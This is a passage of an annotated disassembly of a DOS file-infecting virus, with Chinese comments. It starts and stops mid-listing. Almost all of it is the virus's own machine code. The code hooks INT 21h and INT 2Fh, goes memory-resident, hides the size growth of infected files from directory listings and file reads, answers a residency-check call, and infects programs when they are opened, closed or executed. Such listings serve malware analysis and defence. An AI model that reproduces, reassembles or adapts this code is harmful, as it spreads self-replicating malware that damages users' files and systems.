F6C8:03E1 813C36FF      CMP     WORD PTR [SI],FF36
F6C8:03E5 E0F9          LOOPNE  03E0 ;即 CALL SS:[xxxx]
F6C8:03E7 E3D1          JCXZ    03BA
F6C8:03E9 807C0216      CMP     BYTE PTR [SI+02],16
F6C8:03ED 75F1          JNZ     03E0
F6C8:03EF 394403        CMP     [SI+03],AX ;将 CALL SS:[xxxx]
F6C8:03F2 75EC          JNZ     03E0 ;改为 CALL CS:053D
F6C8:03F4 C6049A        MOV     BYTE PTR [SI],9A ;截取新 INT 21
F6C8:03F7 C744013D05    MOV     WORD PTR [SI+01],053D ;到 CS:053D
F6C8:03FC 8C4C03        MOV     [SI+03],CS
F6C8:03FF 2E            CS:
F6C8:0400 89365B11      MOV     [115B],SI
F6C8:0404 83FE80        CMP     SI,-80
F6C8:0407 772D          JA      0436
F6C8:0409 4E            DEC     SI
F6C8:040A AD            LODSW
F6C8:040B 3DFB80        CMP     AX,80FB ;找 FB 80 FC 11 75 0A C0 74
F6C8:040E 75F4          JNZ     0404 ;即 CMP AH,11/JNZ XXXX
F6C8:0410 813CFC11      CMP     WORD PTR [SI],11FC ;OR AL,AL/JZ  XXXX
F6C8:0414 75EE          JNZ     0404 ;此代码为 INT 2F
F6C8:0416 817C02750A    CMP     WORD PTR [SI+02],0A75 ;中断的开始代码
F6C8:041B 75E7          JNZ     0404
F6C8:041D 817C05C074    CMP     WORD PTR [SI+05],74C0
F6C8:0422 75E0          JNZ     0404
F6C8:0424 4E            DEC     SI
F6C8:0425 C6049A        MOV     BYTE PTR [SI],9A ;截取新 INT 2F
F6C8:0428 C744013E04    MOV     WORD PTR [SI+01],043E ;到 CS:043E
F6C8:042D 8C4C03        MOV     [SI+03],CS ;改为 CALL CS:043E
F6C8:0430 4E            DEC     SI
F6C8:0431 2E            CS:
F6C8:0432 89365D11      MOV     [115D],SI
F6C8:0436 07            POP     ES
F6C8:0437 1F            POP     DS
F6C8:0438 61            POPA
F6C8:0439 EADA101001    JMP     0110:10DA ;转原 INT 2A
;
========================================================================
=
; 新 INT 2F 中断代码部分
;
========================================================================
=
F6C8:043E 2E            CS:
F6C8:043F C606C00D3C    MOV     BYTE PTR [0DC0],3C
F6C8:0444 50            PUSH    AX
F6C8:0445 55            PUSH    BP
F6C8:0446 8BEC          MOV     BP,SP
F6C8:0448 80FC11        CMP     AH,11 ;模拟原 INT 2F 功能
F6C8:044B 7404          JZ      0451 ;CMP AH,11/JNZ xxxx
F6C8:044D 8346040A      ADD     WORD PTR [BP+04],+0A
F6C8:0451 8B460A        MOV     AX,[BP+0A] ;取调用 INT 2F 之地址
F6C8:0454 8CCD          MOV     BP,CS ;如果是病毒自己调用
F6C8:0456 3BC5          CMP     AX,BP ;转原 INT 2F
F6C8:0458 5D            POP     BP
F6C8:0459 58            POP     AX
F6C8:045A 740C          JZ      0468 ;
F6C8:045C 3D1612        CMP     AX,1216 ;非病毒自己调用
F6C8:045F 7507          JNZ     0468 ;则将 1216 功能
F6C8:0461 83C404        ADD     SP,+04 ;屏蔽, 出错返回
F6C8:0464 F9            STC
F6C8:0465 CA0200        RETF    0002
F6C8:0468 CB            RETF
;
========================================================================
==
;BOOT 引入时执行 INT 21H 时先执行本子程序
;功能为在第一次执行可执行程序时申请内存块驻留
F6C8:0469 80FC4B        CMP     AH,4B ;非执行程序退出
F6C8:046C 7401          JZ      046F
F6C8:046E C3            RET
F6C8:046F 60            PUSHA
F6C8:0470 1E            PUSH    DS
F6C8:0471 06            PUSH    ES
F6C8:0472 0AC0          OR      AL,AL
F6C8:0474 7428          JZ      049E ;执行文件转 049E
F6C8:0476 8BF2          MOV     SI,DX ;装入设备驱动程序
F6C8:0478 AC            LODSB
F6C8:0479 0AC0          OR      AL,AL
F6C8:047B 75FB          JNZ     0478
F6C8:047D 817CF74D33    CMP     WORD PTR [SI-09],334D
F6C8:0482 7517          JNZ     049B
F6C8:0484 817CF45145    CMP     WORD PTR [SI-0C],4551
F6C8:0489 7510          JNZ     049B
F6C8:048B E89CFD        CALL    022A ;如果装入 QEMM386.SYS
F6C8:048E B80013        MOV     AX,1300 ;再次设置新 INT 13H
F6C8:0491 8BD3          MOV     DX,BX
F6C8:0493 CD2F          INT     2F      (Multiplex)
F6C8:0495 2E            CS:
F6C8:0496 C606FF00EB    MOV     BYTE PTR [00FF],EB
F6C8:049B E99B00        JMP     0539
F6C8:049E 2E            CS: ;执行程序时
F6C8:049F C606FF00EB    MOV     BYTE PTR [00FF],EB
F6C8:04A4 B452          MOV     AH,52 ;取表之表地址
F6C8:04A6 E85108        CALL    0CFA
F6C8:04A9 26            ES:
F6C8:04AA 8B47FE        MOV     AX,[BX-02] ;取第一块 MCB 地址
F6C8:04AD E8C7FB        CALL    0077 ;取最后一块 MCB 地址
F6C8:04B0 8EDB          MOV     DS,BX
F6C8:04B2 8BC3          MOV     AX,BX
F6C8:04B4 034503        ADD     AX,[DI+03]
F6C8:04B7 80FCA0        CMP     AH,A0
F6C8:04BA 760D          JBE     04C9 ;不在 UMB 中转 04C9
F6C8:04BC 33F6          XOR     SI,SI ;在 UMB 中则驻留内存
F6C8:04BE E8CDFB        CALL    008E
F6C8:04C1 B9B004        MOV     CX,04B0
F6C8:04C4 F3            REPZ
F6C8:04C5 2E            CS:
F6C8:04C6 A4            MOVSB
F6C8:04C7 734B          JNB     0514
F6C8:04C9 B80058        MOV     AX,5800 ;取内存分配策略
F6C8:04CC E82B08        CALL    0CFA
F6C8:04CF 50            PUSH    AX
F6C8:04D0 B80158        MOV     AX,5801 ;设高到低寻找策略
F6C8:04D3 BB8000        MOV     BX,0080
F6C8:04D6 50            PUSH    AX
F6C8:04D7 E82008        CALL    0CFA
F6C8:04DA B80258        MOV     AX,5802 ;得到 UMB 链状态
F6C8:04DD E81A08        CALL    0CFA
F6C8:04E0 32E4          XOR     AH,AH
F6C8:04E2 50            PUSH    AX
F6C8:04E3 B80358        MOV     AX,5803 ;设新的 UMB 状态
F6C8:04E6 B301          MOV     BL,01 ;为将 UMB 加入 DOS 内存链
F6C8:04E8 50            PUSH    AX
F6C8:04E9 E80E08        CALL    0CFA
F6C8:04EC B448          MOV     AH,48 ;分配内存
F6C8:04EE BB3801        MOV     BX,0138
F6C8:04F1 E80608        CALL    0CFA
F6C8:04F4 95            XCHG    AX,BP
F6C8:04F5 58            POP     AX
F6C8:04F6 5B            POP     BX
F6C8:04F7 E80008        CALL    0CFA ;恢复分配内存策略
F6C8:04FA 58            POP     AX ;及恢复 UMB 状态
F6C8:04FB 5B            POP     BX
F6C8:04FC E8FB07        CALL    0CFA
F6C8:04FF 33FF          XOR     DI,DI
F6C8:0501 8EC5          MOV     ES,BP
F6C8:0503 4D            DEC     BP
F6C8:0504 8EDD          MOV     DS,BP ;将内存块改为 DOS 使用
F6C8:0506 C745010800    MOV     WORD PTR [DI+01],0008
F6C8:050B 33F6          XOR     SI,SI
F6C8:050D 0E            PUSH    CS
F6C8:050E 1F            POP     DS
F6C8:050F B97713        MOV     CX,1377
F6C8:0512 F3            REPZ
F6C8:0513 A4            MOVSB    ;驻留内存
F6C8:0514 0E            PUSH    CS
F6C8:0515 1F            POP     DS
F6C8:0516 8B3E4502      MOV     DI,[0245] ;将 INT 21 地址
F6C8:051A 8B365D11      MOV     SI,[115D] ;改到新的地址
F6C8:051E C51E5711      LDS     BX,[1157]
F6C8:0522 8C47FE        MOV     [BX-02],ES
F6C8:0525 8C4404        MOV     [SI+04],ES
F6C8:0528 8ED9          MOV     DS,CX
F6C8:052A 8C4502        MOV     [DI+02],ES
F6C8:052D 26            ES:
F6C8:052E C60604013C    MOV     BYTE PTR [0104],3C
F6C8:0533 26            ES:
F6C8:0534 C60658053D    MOV     BYTE PTR [0558],3D
F6C8:0539 07            POP     ES
F6C8:053A 1F            POP     DS
F6C8:053B 61            POPA
F6C8:053C C3            RET
;
========================================================================
=
; 新 INT 21H 代码部分
;
========================================================================
=
F6C8:053D 2E            CS:
F6C8:053E 8F065711      POP     WORD PTR [1157] ;保存返回地址
F6C8:0542 2E            CS: ;于 1157 (IP) 和 1159 (CS)
F6C8:0543 8F065911      POP     WORD PTR [1159]
F6C8:0547 9C            PUSHF
F6C8:0548 55            PUSH    BP
F6C8:0549 8BEC          MOV     BP,SP
F6C8:054B 817E045344    CMP     WORD PTR [BP+04],4453
F6C8:0550 5D            POP     BP
F6C8:0551 7504          JNZ     0557 ;????
F6C8:0553 9D            POPF
F6C8:0554 44            INC     SP
F6C8:0555 44            INC     SP
F6C8:0556 C3            RET
F6C8:0557 9D            POPF
F6C8:0558 3D0EFF        CMP     AX,FF0E ====> ;BOOT 引入时
F6C8:055B 80FC11        CMP     AH,11 ;本句代码为 CALL 0469
F6C8:055E 7235          JB      0595
F6C8:0560 80FC12        CMP     AH,12 ;DOS 功能 11,12 (DIR 时使用)
F6C8:0563 7730          JA      0595 ;则更改文件长度
F6C8:0565 E82308        CALL    0D8B ;调用原 INT 21 功能
F6C8:0568 0AC0          OR      AL,AL ;成功转 057B
F6C8:056A 740F          JZ      057B
F6C8:056C 50            PUSH    AX
F6C8:056D B81812        MOV     AX,1218 ;INT 2F 之 1218 功能
F6C8:0570 E84D08        CALL    0DC0 ;取 DOS 调用者寄存器
F6C8:0573 58            POP     AX
F6C8:0574 8904          MOV     [SI],AX ;修改返回值
F6C8:0576 2E            CS: ;返回调用处
F6C8:0577 FF2E5711      JMP     FAR DWORD PTR [1157]
F6C8:057B E86208        CALL    0DE0 ;
F6C8:057E 74EC          JZ      056C
F6C8:0580 50            PUSH    AX
F6C8:0581 B42F          MOV     AH,2F
F6C8:0583 E87407        CALL    0CFA
F6C8:0586 26            ES:
F6C8:0587 803FFF        CMP     BYTE PTR [BX],FF
F6C8:058A 7503          JNZ     058F
F6C8:058C 83C307        ADD     BX,+07
F6C8:058F 43            INC     BX
F6C8:0590 BE0200        MOV     SI,0002
F6C8:0593 EB17          JMP     05AC
;
========================================================================
==
F6C8:0595 80FC4E        CMP     AH,4E
F6C8:0598 7239          JB      05D3
F6C8:059A 80FC4F        CMP     AH,4F
F6C8:059D 7734          JA      05D3
F6C8:059F E8E907        CALL    0D8B
F6C8:05A2 50            PUSH    AX
F6C8:05A3 722B          JB      05D0
F6C8:05A5 B42F          MOV     AH,2F
F6C8:05A7 E85007        CALL    0CFA
F6C8:05AA 33F6          XOR     SI,SI
F6C8:05AC E82808        CALL    0DD7
F6C8:05AF 741F          JZ      05D0
F6C8:05B1 06            PUSH    ES
F6C8:05B2 1F            POP     DS
F6C8:05B3 807F19C8      CMP     BYTE PTR [BX+19],C8
F6C8:05B7 7217          JB      05D0
F6C8:05B9 806F19C8      SUB     BYTE PTR [BX+19],C8
F6C8:05BD C4401A        LES     AX,[BX+SI+1A]
F6C8:05C0 8CC2          MOV     DX,ES
F6C8:05C2 2DC70E        SUB     AX,0EC7
F6C8:05C5 83DA00        SBB     DX,+00
F6C8:05C8 7206          JB      05D0
F6C8:05CA 89401A        MOV     [BX+SI+1A],AX
F6C8:05CD 89501C        MOV     [BX+SI+1C],DX
F6C8:05D0 58            POP     AX
F6C8:05D1 EB99          JMP     056C
;
========================================================================
=
F6C8:05D3 3D0242        CMP     AX,4202
F6C8:05D6 7526          JNZ     05FE
F6C8:05D8 E8FA06        CALL    0CD5
F6C8:05DB 7621          JBE     05FE
F6C8:05DD E8F707        CALL    0DD7
F6C8:05E0 741C          JZ      05FE
F6C8:05E2 816D11C70E    SUB     WORD PTR [DI+11],0EC7
F6C8:05E7 835D1300      SBB     WORD PTR [DI+13],+00
F6C8:05EB 57            PUSH    DI
F6C8:05EC 1E            PUSH    DS
F6C8:05ED E89B07        CALL    0D8B
F6C8:05F0 1F            POP     DS
F6C8:05F1 5F            POP     DI
F6C8:05F2 814511C70E    ADD     WORD PTR [DI+11],0EC7
F6C8:05F7 83551300      ADC     WORD PTR [DI+13],+00
F6C8:05FB E96EFF        JMP     056C
;
========================================================================
==
F6C8:05FE 80FC57        CMP     AH,57
F6C8:0601 7520          JNZ     0623
F6C8:0603 E8CF06        CALL    0CD5
F6C8:0606 761B          JBE     0623
F6C8:0608 E8CC07        CALL    0DD7
F6C8:060B 7416          JZ      0623
F6C8:060D 57            PUSH    DI
F6C8:060E 1E            PUSH    DS
F6C8:060F 0AC0          OR      AL,AL
F6C8:0611 7504          JNZ     0617
F6C8:0613 806D10C8      SUB     BYTE PTR [DI+10],C8
F6C8:0617 E87107        CALL    0D8B
F6C8:061A 1F            POP     DS
F6C8:061B 5F            POP     DI
F6C8:061C 804510C8      ADD     BYTE PTR [DI+10],C8
F6C8:0620 E949FF        JMP     056C
;
========================================================================
===
F6C8:0623 80FC3F        CMP     AH,3F
F6C8:0626 7403          JZ      062B
F6C8:0628 E94901        JMP     0774
F6C8:062B E8A907        CALL    0DD7 ;新 INT 21 之 3F 功能
F6C8:062E 74F8          JZ      0628 ;执行压缩文件跳过
F6C8:0630 1E            PUSH    DS
F6C8:0631 E8A106        CALL    0CD5 ;取文件句柄表地址
F6C8:0634 1F            POP     DS
F6C8:0635 76F1          JBE     0628
F6C8:0637 2E            CS:
F6C8:0638 8C1E6B0C      MOV     [0C6B],DS
F6C8:063C 0E            PUSH    CS
F6C8:063D 1F            POP     DS
F6C8:063E 890E650C      MOV     [0C65],CX
F6C8:0642 8916680C      MOV     [0C68],DX
F6C8:0646 83266F0700    AND     WORD PTR [076F],0000
F6C8:064B 06            PUSH    ES
F6C8:064C 1F            POP     DS
F6C8:064D E85A06        CALL    0CAA ;测试当前文件指针
F6C8:0650 2D4000        SUB     AX,0040
F6C8:0653 83DA00        SBB     DX,+00
F6C8:0656 7320          JNB     0678 ;非文件头 40H 字节转 0678
F6C8:0658 034511        ADD     AX,[DI+11]
F6C8:065B 135513        ADC     DX,[DI+13]
F6C8:065E 874515        XCHG    AX,[DI+15]
F6C8:0661 875517        XCHG    DX,[DI+17]
F6C8:0664 8BCA          MOV     CX,DX
F6C8:0666 92            XCHG    AX,DX
F6C8:0667 E8F205        CALL    0C5C
F6C8:066A 7303          JNB     066F
F6C8:066C E9FD00        JMP     076C
F6C8:066F 9C            PUSHF
F6C8:0670 03D0          ADD     DX,AX
F6C8:0672 E83F06        CALL    0CB4
F6C8:0675 9D            POPF
F6C8:0676 74F4          JZ      066C
F6C8:0678 06            PUSH    ES
F6C8:0679 E82E06        CALL    0CAA
F6C8:067C 50            PUSH    AX
F6C8:067D 52            PUSH    DX
F6C8:067E E83F06        CALL    0CC0
F6C8:0681 E86A05        CALL    0BEE
F6C8:0684 59            POP     CX
F6C8:0685 5A            POP     DX
F6C8:0686 9C            PUSHF
F6C8:0687 E82A06        CALL    0CB4
F6C8:068A 9D            POPF
F6C8:068B C406030F      LES     AX,[0F03]
F6C8:068F 8CC1          MOV     CX,ES
F6C8:0691 1F            POP     DS
F6C8:0692 7303          JNB     0697
F6C8:0694 E9BE00        JMP     0755
F6C8:0697 874511        XCHG    AX,[DI+11]
F6C8:069A 50            PUSH    AX
F6C8:069B 874D13        XCHG    CX,[DI+13]
F6C8:069E 51            PUSH    CX
F6C8:069F E8BA05        CALL    0C5C
F6C8:06A2 8F4513        POP     WORD PTR [DI+13]
F6C8:06A5 8F4511        POP     WORD PTR [DI+11]
F6C8:06A8 7703          JA      06AD
F6C8:06AA E9BF00        JMP     076C
F6C8:06AD E8FA05        CALL    0CAA
F6C8:06B0 0E            PUSH    CS
F6C8:06B1 1F            POP     DS
F6C8:06B2 2B06030F      SUB     AX,[0F03]
F6C8:06B6 1B16050F      SBB     DX,[0F05]
F6C8:06BA 753F          JNZ     06FB
F6C8:06BC 3D4800        CMP     AX,0048
F6C8:06BF 733A          JNB     06FB
F6C8:06C1 05070F        ADD     AX,0F07
F6C8:06C4 96            XCHG    AX,SI
F6C8:06C5 33C0          XOR     AX,AX
F6C8:06C7 8B3E680C      MOV     DI,[0C68]
F6C8:06CB 8E066B0C      MOV     ES,[0C6B]
F6C8:06CF 8B0E650C      MOV     CX,[0C65]
F6C8:06D3 E312          JCXZ    06E7
F6C8:06D5 81FE4F0F      CMP     SI,0F4F
F6C8:06D9 730C          JNB     06E7
F6C8:06DB A4            MOVSB
F6C8:06DC FF066F07      INC     WORD PTR [076F]
F6C8:06E0 FF06680C      INC     WORD PTR [0C68]
F6C8:06E4 40            INC     AX
F6C8:06E5 E2EE          LOOP    06D5
F6C8:06E7 890E650C      MOV     [0C65],CX
F6C8:06EB E8E705        CALL    0CD5
F6C8:06EE 014515        ADD     [DI+15],AX
F6C8:06F1 83551700      ADC     WORD PTR [DI+17],+00
F6C8:06F5 0BC9          OR      CX,CX
F6C8:06F7 7502          JNZ     06FB
F6C8:06F9 EB71          JMP     076C
F6C8:06FB 0E            PUSH    CS
F6C8:06FC 1F            POP     DS
F6C8:06FD A12B0F        MOV     AX,[0F2B]
F6C8:0700 33D2          XOR     DX,DX
F6C8:0702 050100        ADD     AX,0001
F6C8:0705 13D2          ADC     DX,DX
F6C8:0707 BE0800        MOV     SI,0008
F6C8:070A F7E6          MUL     SI
F6C8:070C 0306310F      ADD     AX,[0F31]
F6C8:0710 83D200        ADC     DX,+00
F6C8:0713 0306030F      ADD     AX,[0F03]
F6C8:0717 1316050F      ADC     DX,[0F05]
F6C8:071B E8B705        CALL    0CD5
F6C8:071E 3B5517        CMP     DX,[DI+17]
F6C8:0721 7232          JB      0755
F6C8:0723 7705          JA      072A
F6C8:0725 3B4515        CMP     AX,[DI+15]
F6C8:0728 762B          JBE     0755
F6C8:072A 2D0800        SUB     AX,0008
F6C8:072D 83DA00        SBB     DX,+00
F6C8:0730 874511        XCHG    AX,[DI+11]
F6C8:0733 50            PUSH    AX
F6C8:0734 875513        XCHG    DX,[DI+13]
F6C8:0737 52            PUSH    DX
F6C8:0738 836D1508      SUB     WORD PTR [DI+15],+08
F6C8:073C 835D1700      SBB     WORD PTR [DI+17],+00
F6C8:0740 E81905        CALL    0C5C
F6C8:0743 9C            PUSHF
F6C8:0744 83451508      ADD     WORD PTR [DI+15],+08
F6C8:0748 83551500      ADC     WORD PTR [DI+15],+00
F6C8:074C 9D            POPF
F6C8:074D 8F4513        POP     WORD PTR [DI+13]
F6C8:0750 8F4511        POP     WORD PTR [DI+11]
F6C8:0753 7617          JBE     076C
F6C8:0755 816D11C70E    SUB     WORD PTR [DI+11],0EC7
F6C8:075A 835D1300      SBB     WORD PTR [DI+13],+00
F6C8:075E E8FB04        CALL    0C5C
F6C8:0761 9C            PUSHF
F6C8:0762 814511C70E    ADD     WORD PTR [DI+11],0EC7
F6C8:0767 83551300      ADC     WORD PTR [DI+13],+00
F6C8:076B 9D            POPF
F6C8:076C 7203          JB      0771
F6C8:076E B875D5        MOV     AX,D575
F6C8:0771 E9F8FD        JMP     056C
;
========================================================================
===
F6C8:0774 60            PUSHA    ;病毒驻留检验
F6C8:0775 1E            PUSH    DS ;以 AX = 187F
F6C8:0776 06            PUSH    ES ;   BX = 4453 调用
F6C8:0777 3D7F18        CMP     AX,187F ;返回 AX = 434E
F6C8:077A 7514          JNZ     0790
F6C8:077C 81FB5344      CMP     BX,4453
F6C8:0780 750E          JNZ     0790
F6C8:0782 B81812        MOV     AX,1218 ;取返回寄存器地址
F6C8:0785 E83806        CALL    0DC0 ;修改返回 AX 值
F6C8:0788 8144024E43    ADD     WORD PTR [SI+02],434E
F6C8:078D E9C201        JMP     0952
;
========================================================================
===
F6C8:0790 80FC40        CMP     AH,40
F6C8:0793 7403          JZ      0798
F6C8:0795 E9F100        JMP     0889
F6C8:0798 E83A05        CALL    0CD5
F6C8:079B 76F8          JBE     0795
F6C8:079D E81604        CALL    0BB6
F6C8:07A0 FF7505        PUSH    WORD PTR [DI+05]
F6C8:07A3 C54515        LDS     AX,[DI+15]
F6C8:07A6 50            PUSH    AX
F6C8:07A7 1E            PUSH    DS
F6C8:07A8 E81505        CALL    0CC0
F6C8:07AB 7303          JNB     07B0
F6C8:07AD E9C800        JMP     0878
F6C8:07B0 E83B04        CALL    0BEE
F6C8:07B3 9C            PUSHF
F6C8:07B4 8306030F08    ADD     WORD PTR [0F03],+08
F6C8:07B9 8316050F00    ADC     WORD PTR [0F05],+00
F6C8:07BE 9D            POPF
F6C8:07BF 7303          JNB     07C4
F6C8:07C1 E99900        JMP     085D
F6C8:07C4 8B441C        MOV     AX,[SI+1C]
F6C8:07C7 33D2          XOR     DX,DX
F6C8:07C9 B90800        MOV     CX,0008
F6C8:07CC F7E1          MUL     CX
F6C8:07CE 034422        ADD     AX,[SI+22]
F6C8:07D1 83D200        ADC     DX,+00
F6C8:07D4 50            PUSH    AX
F6C8:07D5 52            PUSH    DX
F6C8:07D6 0306030F      ADD     AX,[0F03]
F6C8:07DA 1316050F      ADC     DX,[0F05]
F6C8:07DE 050002        ADD     AX,0200
F6C8:07E1 83D200        ADC     DX,+00
F6C8:07E4 8BCA          MOV     CX,DX
F6C8:07E6 92            XCHG    AX,DX
F6C8:07E7 E8CA04        CALL    0CB4
F6C8:07EA 5A            POP     DX
F6C8:07EB 58            POP     AX
F6C8:07EC 2D4000        SUB     AX,0040
F6C8:07EF 83DA00        SBB     DX,+00
F6C8:07F2 B90002        MOV     CX,0200
F6C8:07F5 F7F1          DIV     CX
F6C8:07F7 8BFA          MOV     DI,DX
F6C8:07F9 95            XCHG    AX,BP
F6C8:07FA 83ED01        SUB     BP,+01
F6C8:07FD 722E          JB      082D
F6C8:07FF B9FFFF        MOV     CX,FFFF
F6C8:0802 BAF8FB        MOV     DX,FBF8
F6C8:0805 E8AF04        CALL    0CB7
F6C8:0808 B43F          MOV     AH,3F
F6C8:080A B90002        MOV     CX,0200
F6C8:080D BA4F0F        MOV     DX,0F4F
F6C8:0810 E88C04        CALL    0C9F
F6C8:0813 7263          JB      0878
F6C8:0815 B9FFFF        MOV     CX,FFFF
F6C8:0818 BA08FE        MOV     DX,FE08
F6C8:081B E89904        CALL    0CB7
F6C8:081E B440          MOV     AH,40
F6C8:0820 B90002        MOV     CX,0200
F6C8:0823 BA4F0F        MOV     DX,0F4F
F6C8:0826 E87604        CALL    0C9F
F6C8:0829 73CF          JNB     07FA
F6C8:082B EB4B          JMP     0878
F6C8:082D B9FFFF        MOV     CX,FFFF
F6C8:0830 8D950802      LEA     DX,[DI+0208]
F6C8:0834 F7DA          NEG     DX
F6C8:0836 E87E04        CALL    0CB7
F6C8:0839 B43F          MOV     AH,3F
F6C8:083B 8BCF          MOV     CX,DI
F6C8:083D BA4F0F        MOV     DX,0F4F
F6C8:0840 E85C04        CALL    0C9F
F6C8:0843 7233          JB      0878
F6C8:0845 B9FFFF        MOV     CX,FFFF
F6C8:0848 8D5540        LEA     DX,[DI+40]
F6C8:084B F7DA          NEG     DX
F6C8:084D E86704        CALL    0CB7
F6C8:0850 B440          MOV     AH,40
F6C8:0852 8D4D48        LEA     CX,[DI+48]
F6C8:0855 BA070F        MOV     DX,0F07
F6C8:0858 E84404        CALL    0C9F
F6C8:085B 721B          JB      0878
F6C8:085D E83004        CALL    0C90
F6C8:0860 7216          JB      0878
F6C8:0862 B9FFFF        MOV     CX,FFFF
F6C8:0865 BA39F1        MOV     DX,F139
F6C8:0868 E84F04        CALL    0CBA
F6C8:086B B440          MOV     AH,40
F6C8:086D 41            INC     CX
F6C8:086E E88904        CALL    0CFA
F6C8:0871 E86104        CALL    0CD5
F6C8:0874 806D10C8      SUB     BYTE PTR [DI+10],C8
F6C8:0878 59            POP     CX
F6C8:0879 5A            POP     DX
F6C8:087A E83704        CALL    0CB4
F6C8:087D E85504        CALL    0CD5
F6C8:0880 8F4505        POP     WORD PTR [DI+05]
F6C8:0883 E85303        CALL    0BD9
F6C8:0886 E9C900        JMP     0952
;
========================================================================
=
F6C8:0889 80FC3E        CMP     AH,3E
F6C8:088C 750C          JNZ     089A
F6C8:088E E82503        CALL    0BB6
F6C8:0891 E8E100        CALL    0975
F6C8:0894 E84203        CALL    0BD9
F6C8:0897 E9B800        JMP     0952
;
========================================================================
=
F6C8:089A 80FC43        CMP     AH,43
F6C8:089D 7419          JZ      08B8
F6C8:089F 80FC56        CMP     AH,56
F6C8:08A2 7414          JZ      08B8
F6C8:08A4 3D004B        CMP     AX,4B00
F6C8:08A7 7205          JB      08AE
F6C8:08A9 3D054B        CMP     AX,4B05
F6C8:08AC 7603          JBE     08B1
F6C8:08AE E9A100        JMP     0952
F6C8:08B1 7505          JNZ     08B8
F6C8:08B3 8BF2          MOV     SI,DX
F6C8:08B5 C55404        LDS     DX,[SI+04]
;
========================================================================
==
F6C8:08B8 50            PUSH    AX
F6C8:08B9 E8FA02        CALL    0BB6
F6C8:08BC B8003D        MOV     AX,3D00
F6C8:08BF E83804        CALL    0CFA
F6C8:08C2 720F          JB      08D3
F6C8:08C4 93            XCHG    AX,BX
F6C8:08C5 53            PUSH    BX
F6C8:08C6 52            PUSH    DX
F6C8:08C7 1E            PUSH    DS
F6C8:08C8 E8AA00        CALL    0975
F6C8:08CB 1F            POP     DS
F6C8:08CC 5A            POP     DX
F6C8:08CD 5B            POP     BX
F6C8:08CE B43E          MOV     AH,3E
F6C8:08D0 E82704        CALL    0CFA
F6C8:08D3 E80303        CALL    0BD9
F6C8:08D6 58            POP     AX
F6C8:08D7 3D014B        CMP     AX,4B01
F6C8:08DA 751F          JNZ     08FB
F6C8:08DC 33ED          XOR     BP,BP
F6C8:08DE B8003D        MOV     AX,3D00
F6C8:08E1 E81604        CALL    0CFA
F6C8:08E4 7211          JB      08F7
F6C8:08E6 93            XCHG    AX,BX
F6C8:08E7 E8EB03        CALL    0CD5
F6C8:08EA 7606          JBE     08F2
F6C8:08EC E8D103        CALL    0CC0
F6C8:08EF 7201          JB      08F2
F6C8:08F1 45            INC     BP
F6C8:08F2 B43E          MOV     AH,3E
F6C8:08F4 E80304        CALL    0CFA
F6C8:08F7 0BED          OR      BP,BP
F6C8:08F9 7502          JNZ     08FD
F6C8:08FB EB55          JMP     0952
F6C8:08FD 07            POP     ES
F6C8:08FE 1F            POP     DS
F6C8:08FF 61            POPA
F6C8:0900 53            PUSH    BX
F6C8:0901 06            PUSH    ES
F6C8:0902 E88604        CALL    0D8B
F6C8:0905 07            POP     ES
F6C8:0906 5F            POP     DI
F6C8:0907 50            PUSH    AX
F6C8:0908 7304          JNB     090E
F6C8:090A 58            POP     AX
F6C8:090B E95EFC        JMP     056C
F6C8:090E B451          MOV     AH,51
F6C8:0910 CD21          INT     21      (DOS)
F6C8:0912 8BEB          MOV     BP,BX
F6C8:0914 BEC70E        MOV     SI,0EC7
F6C8:0917 0E            PUSH    CS
F6C8:0918 1F            POP     DS
F6C8:0919 AD            LODSW
F6C8:091A E88F02        CALL    0BAC
F6C8:091D 7409          JZ      0928
F6C8:091F 48            DEC     AX
F6C8:0920 26            ES:
F6C8:0921 C47D12        LES     DI,[DI+12]
F6C8:0924 AB            STOSW
F6C8:0925 A4            MOVSB
F6C8:0926 EBE2          JMP     090A
F6C8:0928 83C70E        ADD     DI,+0E
F6C8:092B 1E            PUSH    DS
F6C8:092C 26            ES:
F6C8:092D C51D          LDS     BX,[DI]
F6C8:092F 8B0F          MOV     CX,[BX]
F6C8:0931 1F            POP     DS
F6C8:0932 8B440E        MOV     AX,[SI+0E]
F6C8:0935 48            DEC     AX
F6C8:0936 48            DEC     AX
F6C8:0937 AB            STOSW
F6C8:0938 93            XCHG    AX,BX
F6C8:0939 8D4610        LEA     AX,[BP+10]
F6C8:093C 50            PUSH    AX
F6C8:093D 03440C        ADD     AX,[SI+0C]
F6C8:0940 AB            STOSW
F6C8:0941 1E            PUSH    DS
F6C8:0942 8ED8          MOV     DS,AX
F6C8:0944 890F          MOV     [BX],CX
F6C8:0946 1F            POP     DS
F6C8:0947 8B4412        MOV     AX,[SI+12]
F6C8:094A AB            STOSW
F6C8:094B 58            POP     AX
F6C8:094C 034414        ADD     AX,[SI+14]
F6C8:094F AB            STOSW
F6C8:0950 EBB8          JMP     090A
;
========================================================================
==
F6C8:0952 07            POP     ES
F6C8:0953 1F            POP     DS
F6C8:0954 61            POPA     ;INT 21 CALL SS:[XXXX]
F6C8:0955 2E            CS: ;的返回地址 (1157)
F6C8:0956 FF365711      PUSH    WORD PTR [1157]
F6C8:095A 55            PUSH    BP
F6C8:095B 2E            CS:
F6C8:095C 8B2E5311      MOV     BP,[1153] ;调用地址
F6C8:0960 8B6E00        MOV     BP,[BP+00]
F6C8:0963 2E            CS:
F6C8:0964 892E5711      MOV     [1157],BP
F6C8:0968 5D            POP     BP
F6C8:0969 2E            CS:
F6C8:096A FF365911      PUSH    WORD PTR [1159] ;调用 INT 21 的段地址
F6C8:096E 2E            CS:
F6C8:096F FF365711      PUSH    WORD PTR [1157] ;调用地址
F6C8:0973 CB            RETF     ;到原 INT 21 功能
F6C8:0974 C3            RET
;
========================================================================
==
F6C8:0975 E85D03        CALL    0CD5
F6C8:0978 72FA          JB      0974
F6C8:097A 75F8          JNZ     0974
F6C8:097C 833D01        CMP     WORD PTR [DI],+01
F6C8:097F 75F3          JNZ     0974
F6C8:0981 F645053E      TEST    BYTE PTR [DI+05],3E
F6C8:0985 7514          JNZ     099B
F6C8:0987 BAF503        MOV     DX,03F5
F6C8:098A B004          MOV     AL,04
F6C8:098C EE            OUT     DX,AL
F6C8:098D B504          MOV     CH,04
F6C8:098F E2FE          LOOP    098F
F6C8:0991 EE            OUT     DX,AL
F6C8:0992 B504          MOV     CH,04
F6C8:0994 E2FE          LOOP    0994
F6C8:0996 EC            IN      AL,DX
F6C8:0997 A840          TEST    AL,40
F6C8:0999 75D9          JNZ     0974
F6C8:099B B445          MOV     AH,45
F6C8:099D E85A03        CALL    0CFA
F6C8:09A0 72D2          JB      0974
F6C8:09A2 53            PUSH    BX
